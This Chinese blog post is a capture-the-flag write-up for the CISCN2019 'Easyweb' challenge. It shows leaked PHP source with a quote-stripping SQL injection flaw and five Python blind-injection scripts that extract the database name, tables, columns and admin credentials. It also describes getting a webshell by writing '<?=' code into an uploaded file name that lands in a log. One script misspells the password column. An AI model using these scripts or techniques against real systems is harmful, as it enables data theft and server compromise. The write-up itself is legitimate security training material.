[CISCN2019 总决赛 Day2 Web1]Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb

考察:

  1. robots.txt

  2. image.php?bak文件泄露,image.php.bak可以下载别的不大行

  3. 盲注

  4. php日志挂马

  5. <?=可以绕过检测

初步工作

进入8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/robots.txt

Disallow: *.php.bak

对暴露的php文件进行测试,

user.php,image.php.bak

image.php.bak存在,得到源码如下。

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>

分析源码

addslashes()函数,这个函数会把特殊的字符转义。

比如:单引号会被转义成\',斜杠会转义为\\.

第十行的str_replace会把"\\0","%00","\\'","'"中的任意一个替换成空。

我们可根据这个绕过当传入id=\\0时,就会在 查询语句处改变sql语句。

即:select * from images where id=' \' or path='+{$path}'

所以我们可以在path处注入我们的新语句,

由于没有查询结果回显,所以此处是盲注。

简单的测试

因为是整数型注入,所以我们可以使用mysql的三目运算

if ( boo1, exp1 ,exp2 )

简单实验数据库名长度。

正式编写脚本

编脚本就很累了,写的水平垃圾的一,写了好久。

爆数据库名长度。

其实这一步可以不用的,就是测验自己的理论,加上学习。

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="

for i in range(30):
    payload = "if(length(database())=%d,1,-1)%%23" % (i)
    #print(url+payload)
    r = requests.get(url+payload)
    if b"JFIF" in r.content :
        print(i)

爆数据库名字

为:ciscnfinal

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last = "tmp" #用于判断可不可以终止
i = 0

while( result != last ):
	i = i + 1 
	head=32
	tail=127
	while( head < tail ):
		mid = (head + tail) >> 1
		payload = "if(ascii(substr(database(),%d,1))>%d,1,-1)%%23"%(i,mid)
		# print(url+payload)
		r = requests.get(url+payload)

		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid
	
	last = result
	
	if chr(head)!=" ":
		result += chr(head)
	print(result)

爆数据表的表名

记得看一下名字里包不包括源码泄露的images表,可以作为你的脚本正确性验证。

有: images,users

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
    
	i=i+1
	head=32
	tail=127
	while head < tail :

		mid = ( head + tail ) >> 1
		payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
		#print(url+payload)
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid
            
	last = result
	if chr(head)!=' ' :
		result += chr(head)
	print(result)

爆数据表的列

爆列的时候注意,因为过滤了双单引号,且我们没有函数了,所以此时要把表明转成16进制

hex("users") = 0x7573657273

为:username,password

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
	i=i+1
	head=32
	tail=127

	while( head < tail ):

		mid = ( head + tail ) >> 1

		payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid)
		
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid

	last = result
	if(chr(head)!=' '):
		result += chr(head)
	print(result)

爆username字段

admin

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
	i=i+1
	head=32
	tail=127

	while( head < tail ):

		mid = ( head + tail ) >> 1

		payload = "if(ascii(substr((select group_concat(username) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid)
		
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid

	last = result
	if(chr(head)!=' '):
		result += chr(head)
	print(result)

爆username字段password

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
	i=i+1
	head=32
	tail=127

	while( head < tail ):

		mid = ( head + tail ) >> 1

		payload = "if(ascii(substr((select group_concat(passowrd) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid)
		
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid

	last = result
	if(chr(head)!=' '):
		result += chr(head)
	print(result)

登录

我们有了用户名和密码。

登录进去后,简单上传测试后发现,他会把文件名放到日志。

所以把木马写到文件名即可,注意过滤了php。

可以用<?=来绕过。

上传之后,getshell,去根目录把flag文件读了即可。

posted @ 2020-04-04 21:17  何止(h3zh1)  阅读(432)  评论(0编辑  收藏  举报